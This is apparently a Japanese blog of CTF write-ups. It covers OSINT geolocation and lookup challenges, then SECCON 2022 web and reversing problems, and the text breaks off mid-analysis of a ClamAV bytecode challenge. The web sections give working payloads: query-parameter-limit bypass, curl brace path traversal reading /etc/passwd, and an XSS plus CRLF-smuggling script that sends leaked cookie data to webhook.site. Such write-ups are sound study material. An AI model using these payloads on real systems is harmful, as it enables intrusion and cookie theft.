ニッポンレンタカーシャトルバスを外から撮った写真が与えられる。奥の窓にセブンイレブンのロゴが写り込んでいる。

建物も。

AIRPORT↔NRという重要そうな情報もある。

NRと聞いてまず思いついたのが成田空港を示すNRTだったけれども、それだともう一方のAIRPORTというのはなんなのか。そういうわけで、おそらく成田ではない。Google Lensで検索すると、ニッポンレンタカー旭川空港前営業所の似たペイントの車両の写真が見つかる。ただ、画像のサイズが小さく右下に書かれている文字の判別ができない。

「"ニッポンレンタカー" "旭川空港"」などでググると、同じような車両のより文字が判別しやすい写真が見つかる。AIRPORT↔NR Stationと読める。これだ。

旭川空港の施設を確認すると、セブンイレブン旭川空港店があることがわかった。このあたりをGoogleマップで探す。

N43.672 E142.453

[PLACE 200] BUS2 (32 solves)

このバスの位置を求めよ。
フラグ形式: Nxx.xxx Exxx.xxx

Answer the coordinates of this bus.
FlagFormat: Nxx.xxx Exxx.xxx

道を走るバスの写真が与えられる。写真奥のバスには「ファミリー観光」と書かれているようにみえる。岩手県紫波町花巻市を拠点とする会社らしい。

この標識が特徴的に思える。安直だけれども、岩手県道25号だろうか。

ストリートビュー岩手県道25号を調べ続けると、写真の状況とよく似ている場所が見つかる。

N39.541 E141.495

[PLACE 300] 3month (32 solves)

この建物の座標を求めよ。
フラグ形式: Nxx.xxx Exx.xxx

Answer the coordinates of this building.
FlagFormat: Nxx.xxx Exx.xxx

次のような写真が与えられる。

Google Lensに投げると上段が "АРМИЯ РОССИИ" (ARMY OF RUSSIA)、下段が "ЖИТЕЛЯМ МАРИУПОЛЯ" (FOR THE RESIDENTS OF MARIUPOL)と書かれているとわかる。おそらく、現在ロシアが占領している、ウクライナマリウポリの写真だろう。

書かれているそのままの「"АРМИЯ РОССИИ" "ЖИТЕЛЯМ МАРИУПОЛЯ"」でググると、この建物のことを書いているとみられるロシア新聞の記事がヒットする。動画付きで、周囲にどんな建物があるかもわかる。奥の教会らしき建物が特徴的だ。

Googleマップマリウポリのあたりを表示し、"church" で検索する。ひとつひとつ見ていくと、おそらくCathedral of St. Nicholas (Mariupol)であるとわかる。Googleマップでいうとここ。先程の動画のようにこの建物が映り込む場所を探す。

N47.114 E37.547

[PLACE 300] nice view (27 solves)

この写真を撮影したポイントのplus code(7桁)を答えよ。

Where did I take this photo?
Answer the plus code (7 digits).

そもそもplus codeってなんやねんというのは、ググるとわかる。複雑な経度と緯度の組み合わせでなく、地名と数文字の英数字との組み合わせである場所を指し示せるようなフォーマットで、たとえば PQ79+PH 台東区、東京都上野動物園ハシビロコウ*2舎を示している。Googleマップで適当な場所を選んでみると、plus codeが表示されているはず。

与えられた写真を見ていく。中央奥に写っている島が特徴的に思える。大きな建物があって、鉄塔が3, 4本ある。

Twitterで「"山から" "島が"」ととてもまともな検索結果が出てきそうにないクエリで検索してみると、初島に言及するツイートが出てきた。これだけでは判断できないので、ほかの初島を写した写真のツイートであったり、Google Earthであったりを確認したところ、写真に写っているのは初島だと確信する。

初島が与えられた写真のように写るのはどっちだろうかと方角を考えつつ、山の稜線であるとか、手前の山に立っている鉄塔の位置関係であるとかを、Google Earthのプロジェクトを使ってピンを立てつつ考えた。

頑張って探すと、伊豆スカイライン 多賀駐車場が見つかった。

324M+CH

[NET 100] whois (106 solves)

194.146.200.33 のAS番号を答えよ.

Answer the AS number for 194.146.200.33.

whois を叩くだけ! …かと思いきや、なぜか AS4756547565 も通らない。

$ whois 194.146.200.33 | grep AS
status:         ASSIGNED PI
% Information related to '194.146.200.32/27AS47565'
origin:         AS47565

"AS lookup" などでググると出てくるツールを適当に試すとそちらでは AS42574 という結果になった。

42574

[NET 100] SSID (39 solves)

SSID:YKAMEのBSSIDを答えよ

Answer the BSSID of SSID:YKAME.

SSIDでの検索といえばOpenWiFiMapWiGLEがある。前者では見つからなかったが、後者では日本にひとつ見つかった。

90:84:0D:F0:D1:D3

[NET 200] BB (5 solves)

バルバドスの仮想通貨に関するドメインで、使われていない登録済みドメインのRegistry Domain IDを示せ。

What is the Registry Domain ID for an unused registered domain of Barbados cryptocurrency?

バルバドスのTLD.bb だ。まずはRegistry Domain IDを知る手段を確認したい。とりあえず site:*.bb で出てきたドメイン名に対して whois を試みたところ、Webから問い合わせるようにというメッセージが表示された。

$ whois bac.gov.bb
This TLD has no whois server, but you can access the whois database at
http://whois.telecoms.gov.bb/search_domain.php

このWebサイトで適当なドメインを問い合わせたところ、Registry Domain IDが得られた。

ただ、「仮想通貨に関するドメイン」というのが何を指しているかわからない。「使われていない登録済みドメイン」というのはAレコードなどがないということだろうけれども。

ここで、WHOISの問い合わせができるWebサイトでは、以下のようにワイルドカードが使えることに気づく。

*crypto*.bb*coin*.bb などで検索するといくつかドメイン名が見つかる。ひとつひとつ dig してくと、bitcoins.bb には何もレコードがないことに気づいた。これのRegistry Domain IDがフラグだった。

BBDN-00003344

競技終了後に解いた問題

[PLACE 300] tank (9 solves)

この場所の戦車の位置を求めよ。
フラグ形式: Nxx.xxxx Exx.xxxx
https://twitter.com/huruank/status/1352248366143574020

Answer the coordinates of this tank.
FlagFormat: Nxx.xxxx Exx.xxxx
https://twitter.com/huruank/status/1352248366143574020

問題文のツイートを見てみると、撃破された戦車の写真が添付されていた。ツイートを翻訳すると2008年に起こった南オセチア紛争時に撮影された写真であることがわかる。Google Lensで検索してみると、毎日新聞VOA Newsなどの記事がヒットする。そういった記事を見ていくと、写真のキャプションなどからツヒンヴァリで撮影されたものとわかる。

撃破された兵器の情報といえばOryxということでなにか情報が得られないか探したところ、当該戦車の写真があり、ジョージア側のT-72Bであること、周囲にあと2両撃破された戦車があることがわかった。また、別の角度から撮影された写真が複数枚得られた。

どこかに撮影した位置の情報の残っている、この戦車を撮影した写真がないかと思った。Flickrでツヒンヴァリのあたりで "tank" と検索してみると、まさにこの戦車っぽい写真が1枚見つかった。ただ、N42.225593, E43.969345という位置情報も残っているものの、これは正解ではなかったし、そもそもGoogleマップ衛星写真などと見比べてもおかしい気がする。ここではない。

ここで、後ろの赤い屋根の建物の壁に描かれている(あるいは設置されている)ものを手がかりにできないかと思う。ツイートに添付されていた画像では上部しか見えていなかったが、今紹介したFlickrの写真ではほぼ全体が見えている。

Google Lensであるとか、あるいは撮影地がツヒンヴァリであるという事情からYandexを使って画像検索をしてみる。すると、Yandexで検索した際にRIAノーボスチの記事YouTubeの動画がヒットした。

特に動画の方は有用で、周辺の様子もたくさん写り込んでいる。もしかすると先程の絵かなにかは戦争後に移設されているかもしれないが、とりあえず調べてみる。動画中で、近くの建物の名称が書かれていると思われる看板に気づいた。キリル文字だが、Google Lensに読んでもらうと "Министерство юстиции" (Ministry of Justice)と書かれているらしい。どうやら、「南オセチア共和国」の「司法省」の建物のようだ。

ただ、Googleマップで "Ministry of Justice" で検索しても見つからない*3Yandexマップならば、同じ検索ワードで見つかった。と、競技時間中はここまで特定したところで時間切れ。高い精度で撮影した座標を特定しなければならないのがつらかった。美しくないけれども、ブルートフォースすればよかったかなと少し思う。

N42.2287 E43.9640

*1:今この検索ワードでググると1件もヒットしなかったが、Discordに残していたメモによればそれで見つけたっぽかった

*2:かわいい

*3:実は "Министерство юстиции" ならば見つかる

SECCON CTF 2022 Quals writeup

11/12 - 11/13という日程で開催された。昨年に引き続きkeymoonさんとのコンビで、_(-.- _) )_ *1*2というチームで参加し全体で22位、日本国内に限ると3位だった。今年度は2月に浅草橋で決勝大会が開催されるそうで、その枠が国際決勝と国内決勝で10チームずつ用意されているようなので、我々は国内決勝に参加できるということになる。やったー。

今回は(も?)私はWeb問を中心に取り組んでいたのだけれども、piyosay, denobox, spanoteといった高難易度帯の問題が解けず悔しい。終盤は半分諦めてDevil Hunter, DoroboHといったRev問に取り組んでいた。もうちょっと諦めが早ければあと1問解けたかもしれないなあと思いつつ。Web問は全問がArkさんによる作問で、どれも面白かった。

ほかのメンバーのwriteup:

keymoon.hatenablog.com


[Web 100] skipinx (102 solves)

ALL YOU HAVE TO DO IS SKIP NGINX

添付ファイル: skipinx.tar.gz

ソースコードが添付されている。nginxの裏側でNode.jsのアプリが動いているような構成だった。nginxの設定ファイルである default.conf は以下のような内容だった。至極単純で、ユーザから与えられたクエリパラメータに proxy=nginx を付け加えた上で、後はそのまま裏のNode.jsのアプリに渡している。

server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

Node.jsのコードである index.js は以下のような内容だった。クエリパラメータの proxynginx という文字列が含まれていない場合にフラグを出力してくれるらしい。

const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

これらを見て、次のようなことを考えて、試していた。

  • めちゃくちゃ長いクエリパラメータにしたら、nginxが空気を読んでNode.jsに渡すときに proxy=nginx より前で切ってくれるかも
    • → 限界まで伸ばしたら414で怒られた
  • proxy=hoge みたいに同名のパラメータを付け加えたら、いずれか一方だけを採用するのでは
    • console.log(req.query) でパラメータを出力する処理を加えて検証した
    • デフォルトでは、Expressは proxy=hoge&proxy=fuga のように同名のパラメータがある場合には、{ proxy: ['hoge', 'fuga'] } のように配列として扱うっぽい
    • → 文字列ではなくなったが、配列にも Array.prototype.includes はあるし、['hoge', 'nginx'].includes('nginx') は当然trueなのでダメ
  • proxy[a]=hogeproxy[toString]=hoge のように req.query.proxy をオブジェクトにしてしまえばよいのでは
    • → オブジェクトには includes メソッドがないので、req.query.proxy.includes("nginx") で例外が発生して終わり
  • proxy[1]=hoge のようにすれば、要素が書き換えられるのでは
    • → 以下のように要素がぴょこぴょこ動くだけだった
$ curl -g --path-as-is "localhost:8080?proxy=a&proxy=b"
{ proxy: [ 'a', 'b', 'nginx' ] }
$ curl -g --path-as-is "localhost:8080?proxy[1]=a&proxy=b"
{ proxy: [ 'b', 'a', 'nginx' ] }
$ curl -g --path-as-is "localhost:8080?proxy[2]=a&proxy=b"
{ proxy: [ 'b', 'nginx', 'a' ] }

こういう試行錯誤を繰り返した。最終的に、proxy=a を1000個くっつけた場合に変なことが起こった。

$ cat s.py
import requests
r = requests.get(f'http://skipinx.seccon.games:8080/?' + 'proxy=a&' * 1000)
print(r.text)
$ python3 s.py
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}

フラグが得られた。

SECCON{sometimes_deFault_options_are_useful_to_bypa55}

問題名を見てすきぴ…? と思ったけど全然違った。あまりに奇妙な挙動だったので、後からその理由を調べた。Expressでは、クエリパラメータのパースにデフォルトでは qsというパッケージが使われている。qs には parameterLimit というオプションがあり、この値として設定されている個数を上限としてパラメータがパースされる。たとえば、parameterLimit が3である場合に a=1&b=2&c=3&d=4 というクエリパラメータが渡されれば、最初の3個のパラメータである a, b, c だけがパースされる。デフォルトでは parameterLimit は1000なので、先程のソルバでは1001個目のパラメータとなる proxy=nginx は無視されたということになる。

[Web 124] easylfi (62 solves)

Can you read my secret?

添付ファイル: easylfi.tar.gz

与えられたURLにアクセスすると、以下のように名前の入力を求められる。

適当に入力すると /hello.html?%7Bname%7D=(入力した名前) に飛ばされ、以下のように描画される。

添付されているソースコードを確認していく。Dockerfile には COPY flag.txt / という処理があり、/flag.txt をなんとかして読み取ることが目的であるとわかる。WebアプリはPython製で、処理は app.py という以下の1ファイルにまとまっている。validatetemplate という2つの関数からなる自作のテンプレートエンジンが乗っかっているっぽい。/index.html/hello.html にアクセスすると、public/(ファイル名) からテンプレートを引っ張ってきて、クエリパラメータをもとにレンダリングするらしい。

from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

レンダリングといっても処理は単純だ。パラメータのうち、{name} のように { から始まり } で終わる(また、始めと終わり以外に {} が含まれない)キーについて、テンプレートに対応する文字列が含まれていればそのパラメータの値に置換する。もしルールに違反する name などのキーがパラメータに存在していれば、その時点で Invalid key と言われて処理が中断される。

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text

ファイルを取得してくる処理は以下のようになっている。なぜか curl が使われている。まず考えるのはPath Traversalで /flag.txt を表示させることだが、残念ながら ..% がリクエストしたファイル名に含まれる場合には弾かれてしまう。そもそも、レスポンスに SECCON という文字列が含まれている場合には waf によって弾かれてしまうので、/flag.txtcurl に取得させたところでもうひと頑張りする必要がある。

@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

せめて public/ 下以外のファイルを出力させられないかと考えたところで、ひとつ思いつく。curlhttps://example.com/{a,b,c} のようにブレースを使うと複数のファイルを表示させられるのではないか。試しに hello.html を2回表示させようとしてみると、できた。

$ curl -g "http://easylfi.seccon.games:3000/{hello.html,hello.html}"
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>

さらに、..{.}. のように表現することで waf をバイパスできるのではないかと考え試してみたところ、できた。

$ curl -g "http://easylfi.seccon.games:3000/{.}./{.}./{.}./etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

もちろんこの脆弱性を使って /flag.txt を取得させることもできるが、waf によって阻まれてしまう。なんとかしてバイパスできないか。たとえば、フラグの SECCON の部分を削除できないか。SECCON=hoge のようなパラメータを与えれば SECCONhoge に置換できるのではないかと考えたが、validate によってキーが { から始まり } で終わっているかチェックされているので、残念ながらできない。

validate がわざわざ enumerate でぶん回すという妙な実装になっているのが気になって色々試していると、validate('{') の返り値がTrueであることに気づいた。なるほど、validate は文字数のチェックをしていないし、i == len(key) - 1 のチェックも elif の部分なので、すでに最初の if i == 0 のチェックを通っている以上なされないのか。

この挙動を使えば、{=} のようなクエリパラメータを与えてフラグを表示させようとすると、SECCON}…} のように置換されるはず。別の { の後に } が出現しないファイルをその前に出力させた上で、{…SECCON} を別の文字列に置換させることで waf をバイパスできそうだ。そのようなファイルを探すPythonスクリプトを書く。

import glob
import os.path

fns = glob.glob('/usr/**', recursive=True)
for fn in fns:
  if 'proc' in fn:
    continue
  if not os.path.isfile(fn):
    continue

  with open(fn, 'rb') as f:
    s = f.read()

    try:
      s.decode('utf-8')
      i = s.rindex(b'{')
      if b'}' not in s[i:]:
        print(len(s[i:]), fn)
    except:
      pass

手元の問題環境でそのコードを実行する。いくつか見つかった。/usr/include/rpcsvc/nis.x{ より後にある文字の数が少ないので、これを使うことにする。

$ python3 s.py
17 /usr/include/rpcsvc/nis.x
3479 /usr/lib/x86_64-linux-gnu/perl/5.32/Compress/Raw/Zlib.pm
3479 /usr/lib/x86_64-linux-gnu/perl/5.32.1/Compress/Raw/Zlib.pm
10999 /usr/lib/python3.9/logging/__init__.py
1429 /usr/lib/python3.9/json/scanner.py
444 /usr/share/doc/unzip/BUGS
825 /usr/share/doc/mercurial/examples/vim/hg-menu.vim
825 /usr/share/doc/mercurial-common/examples/vim/hg-menu.vim
1196346 /usr/share/mime/packages/freedesktop.org.xml
3109 /usr/local/include/python3.10/Python.h
11208 /usr/local/lib/python3.10/logging/__init__.py
1429 /usr/local/lib/python3.10/json/scanner.py
504 /usr/local/lib/python3.10/site-packages/setuptools/logging.py

気をつけてペイロードを組み立てると、フラグが得られた。

$ curl --output - -g --path-as-is "http://easylfi.seccon.games:3000/{.}./{.}./{/usr/include/rpcsvc/nis.x,flag.txt}?{=}{&{%0a%25%23endif%0a%23endif%0a--_curl_--file:///app/public/../../flag.txt%0aSECCON}=SECCOn"
...
%#ifndef __nis_3_h
%#define __nis_3_h
%#ifdef __cplusplus
%extern "C" }SECCOn{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

validate('{') の返り値がTrueであることに気づくまでに時間がかかった。めちゃくちゃ面白いパズル問だった。よくこんな問題思いつくなあ。

[Web 149] bffcalc (41 solves)

There is a simple calculator!

添付ファイル: bffcalc.tar.gz

Please confirm that you can get a dummy flag on your local server before you try your attack on the remote server.

Note: The services restart every 10 minutes.

与えた計算式を計算してくれる便利なWebアプリ。右下のReportボタンを押すことで、計算式をadminと共有することもできるようだ。

*3

adminにreportできるという点でXSS問っぽい。実はXSSは簡単にできて、<img src=x onerror=alert(123)> のような「計算式」を投げるとJSコードが実行できる。CSPなどはない。問題はフラグの保存のされ方で、添付されているソースコードにあるXSS botのコードを確認してみると、なんとフラグが含まれるCookieがhttpOnlyであることがわかる。これではXSSだけではフラグが手に入れられない。どうしろというのか。

  await page.setCookie({
    name: "flag",
    value: FLAG,
    domain: APP_HOST,
    path: "/",
    httpOnly: true,
  });

ソースコードをじっくり確認していく。この問題は不思議な構成で、nginx → bffbackend のように3つのサーバからなっている。nginxから見ていく。nginxの設定ファイルは以下のような内容で、単なるリバースプロキシで特に問題があるようには見えない。次。

server {
  listen 3000 default_server;
  server_name nginx;

  # ref. https://www.fastify.io/docs/latest/Guides/Recommendations/#nginx
  proxy_http_version 1.1;
  proxy_cache_bypass $http_upgrade;
  proxy_set_header Upgrade $http_upgrade;
  proxy_set_header Connection 'upgrade';
  proxy_set_header Host $host;
  proxy_set_header X-Real-IP $remote_addr;
  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  proxy_set_header X-Forwarded-Proto $scheme;

  location = /report {
    proxy_pass http://report:3000;
  }

  location / {
    proxy_pass http://bff:3000;
  }
}

bff は以下のPythonコードで動いている。これもリバースプロキシではあるが、わざわざHTTPリクエストを組み立てて backend に投げている。HTTP Request Smugglingでもするのだろうかと思う。次。

import cherrypy
import time
import socket


def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body


class Root(object):
    indexHtml = open("index.html").read()

    @cherrypy.expose
    def index(self):
        return self.indexHtml

    @cherrypy.expose
    def default(self, *args, **kwargs):
        return proxy(cherrypy.request)


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

backend は以下のPythonコードで動いている。expr というパラメータで与えられた計算式について、50文字未満かつ 0123456789+-*/ という許可された文字種のみから構成されている場合にのみ、それを eval して計算する。Cookieはこの backend まで届くはずなので、なんとかして悪いコードを実行させて eval に吐き出させられないだろうかと一瞬考えた。だが、さすがに使える文字種がこれだけだと何も悪いことはできない。

import cherrypy


class Root(object):
    ALLOWED_CHARS = "0123456789+-*/ "

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get("expr", 42))
        if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr):
            return str(eval(expr))
        return expr


cherrypy.config.update({"engine.autoreload.on": False})
cherrypy.server.unsubscribe()
cherrypy.engine.start()
app = cherrypy.tree.mount(Root())

eval 中でエラーを発生させたら、デバッグメッセージとしてCookieが出力されないだろうかとも考えた。だが、1/0 を計算させても以下のようにスタックトレースなどが出力されるだけで、Cookieは出力されなかった。

そういうわけで、backend ではこれ以上何もできないだろうし、bff が一番怪しく見える。

bff ではパスやヘッダなどをもとにHTTPリクエストを組み立てていたが、どこかでCRLF Injection(というのはこのようなシチュエーションでも言えるのだろうか)ができないだろうか。HTTPリクエストが組み立てられている処理で使われているユーザからのパラメータは以下の通り。

  • メソッド名: req.method
  • パス: req.path_info
  • クエリパラメータ: req.query_string
  • ヘッダ: req.headers

bff の処理に print(payload) を挿入して、組み立てたHTTPリクエストが出力されるようにする。参照されていたユーザからのパラメータについてそれぞれいじっていたところ、fetch('/api/a%0d%0a%0d%0a') とパスにCRLFを挿入した際に妙な挙動をした。パスがデコードされた上でHTTPリクエストに展開されており、ここでCRLF Injectionが起こっている。

/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0a%0d%0aGET /%3fexpr=b のようにすると、以下のように2つのHTTPリクエストが含まれているようにみえるHTTPリクエストが組み立てられていることがわかる。

HTTPレスポンスを確認すると、以下のように2つ分のHTTPレスポンスが返ってきていた。これを使って、たとえばHTTPリクエストに Content-Type: application/x-www-form-urlencoded を含ませた上で Content-Length で調整しつつ、Cookie ヘッダの部分をHTTPリクエストボディなどとして扱わせることができるのではないか。

aHTTP/1.1 200 OK
Content-Length: 1
Content-Type: text/html;charset=utf-8
Date: Sun, 13 Nov 2022 23:43:28 GMT
Server: CherryPy/18.8.0
Via: waitress

b

そんな感じで色々試していたところ、/ HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: 102%0d%0a%0d%0a のように Content-Length を中途半端な値にした場合に以下のようなHTTPレスポンスが返ってきているのが確認できた。ちょうど X-Real-Ip ヘッダの部分がHTTPリクエストラインとして解釈されるようになり、X-Real-Ip がメソッド名としておかしいためにこのようなエラーが発生したようだ。これを使ってフラグをリークさせられないか。

42HTTP/1.0 400 Bad Request
Connection: close
Content-Length: 76
Content-Type: text/plain; charset=utf-8
Date: Sun, 13 Nov 2022 23:48:30 GMT
Server: waitress

Bad Request

Malformed HTTP method "X-Real-Ip:"
(generated by waitress)

以下のようなスクリプトを自分のWebサーバでホストする。そして、<img src=x onerror="import('http://(略)/xxx.php')"> という「計算式」をreportする。

<?php
header('Content-type: application/javascript');
header('Access-Control-Allow-Origin: *');
?>

(async () => {
document.cookie = 'a=b';

for (let i = 350; i < 500; i += 10) {
  const r = await (await fetch(`/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: ${i}%0d%0a%0d%0a`)).text();
  if (r.includes('Malformed HTTP method')) {
    navigator.sendBeacon('http://webhook.site/(略)', JSON.stringify([i, r]));
  }
}

})();

しばらく待つと、以下のようにフラグの含まれるHTTPリクエストが飛んできた。

SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

これもとても面白かった。よくこんな問題思いつくなあ。

[Reversing 168] Devil Hunter (31 solves)

Clam Devil; Asari no Akuma

添付ファイル: devil_hunter.tar.gz

問題の概要

添付ファイルを展開すると check.shflag.cbc というファイルが出てくる。check.sh は以下のような内容だった。clamscan というClamAVのファイルのスキャンができるツールを使って、与えたファイルがフラグかどうかチェックしてくれるスクリプトのようだ。-dflag.cbc と、なにやら flag.cbc を指定するオプションが付いている。

#!/bin/sh
if [ -z "$1" ]
then
    echo "[+] ${0} <flag.txt>"
    exit 1
else
    clamscan --bytecode-unsigned=yes --quiet -dflag.cbc "$1"
    if [ $? -eq 1 ]
    then
        echo "Correct!"
    else
        echo "Wrong..."
    fi
fi

clamscan のヘルプを見ると、これは flag.cbc を "virus database" とするオプションであるとわかる。どういうことか。

$ clamscan --help
…
    --database=FILE/DIR   -d FILE/DIR    Load virus database from FILE or load all supported db files from DIR
…

flag.cbc は以下のような内容だった。すべての文字がASCII範囲内であり、一部に Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b のように意味のある文字列が含まれているものの、全体としてはよくわからない。

最初の ClamBC という6バイトがマジックナンバーではないかと思いググってみたところ、clambc というツールの説明がいくつかヒットした。どうやらこのファイルはbytecode signatureというものらしい。

$ xxd flag.cbc
00000000: 436c 616d 4243 6166 6861 696f 606c 6663  ClamBCafhaio`lfc
00000010: 667c 6161 6060 6063 6060 6160 6060 7c61  f|aa```c``a```|a
00000020: 6860 636e 6261 6360 6365 636e 6260 6360  h`cnbac`cecnb`c`
00000030: 6062 6561 6163 7060 636c 616d 636f 696e  `beaacp`clamcoin
00000040: 6369 6465 6e63 656a 623a 3430 3936 0a53  cidencejb:4096.S
00000050: 6563 636f 6e2e 5265 7665 7273 696e 672e  eccon.Reversing.
00000060: 7b46 4c41 477d 3b45 6e67 696e 653a 3536  {FLAG};Engine:56
00000070: 2d32 3535 2c54 6172 6765 743a 303b 303b  -255,Target:0;0;
00000080: 303a 3533 3435 3433 3433 3466 3465 3762  0:534543434f4e7b
00000090: 0a54 6564 6461 6161 6864 6162 6168 6461  .Teddaaahdabahda
…

clambc はbytecode signatureのテストや解析に使えるツールだそうだが、このバイトコードを読める形に変換してくれるだろうか。試しにヘルプで "Print bytecode source" と説明されていた --printsrc オプションを投げてみたが、なにやら細工がされているようで以下のようなメッセージが表示されてしまった。

$ clambc -p flag.cbc
not so easy :P

"Print IR of bytecode signature" と説明されていた --printbcir オプションでは、ちゃんとバイトコードを読める形で出力してくれた。これを読んでいきたい。F.0, F.1, F.2 の3つの関数が存在しているが、F.0F.1 を呼び出し、さらに F.1F.2 を呼び出すという関係があるので、おそらく F.0 がエントリーポイントだろう。ここから読んでいく。

$ clambc --printbcir flag.cbc
found 21 extra types of 85 total, starting at tid 69
TID  KIND                INTERNAL
------------------------------------------------------------------------
…
########################################################################
####################### Function id   0 ################################
########################################################################
found a total of 4 globals
GID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i0 unknown
  1 [  1]: [22 x i8] unknown
  2 [  2]: i8* unknown
  3 [  3]: i8* unknown
------------------------------------------------------------------------
found 2 values with 0 arguments and 2 locals
VID  ID    VALUE
------------------------------------------------------------------------
  0 [  0]: i1
  1 [  1]: i32
------------------------------------------------------------------------
found a total of 2 constants
CID  ID    VALUE
------------------------------------------------------------------------
  0 [  2]: 21(0x15)
  1 [  3]: 0(0x0)
------------------------------------------------------------------------
found a total of 4 total values
------------------------------------------------------------------------
FUNCTION ID: F.0 -> NUMINSTS 5
BB   IDX  OPCODE              [ID /IID/MOD]  INST
------------------------------------------------------------------------
  0    0  OP_BC_CALL_DIRECT   [32 /160/  0]  0 = call F.1 ()
  0    1  OP_BC_BRANCH        [17 / 85/  0]  br 0 ? bb.1 : bb.2

  1    2  OP_BC_CALL_API      [33 /168/  3]  1 = setvirusname[4] (p.-2147483645, 2)
  1    3  OP_BC_JMP           [18 / 90/  0]  jmp bb.2

  2    4  OP_BC_RET           [19 / 98/  3]  ret 3
------------------------------------------------------------------------
…

バイトコードを読む

読んでいくと言っても、このバイトコードについてググってもほとんど情報が見つからない。仕方がないので、ClamAVに含まれるVMのソースコードなども参考にしつつ、出力された情報がそれぞれどんな意味を持っているか確認していく。

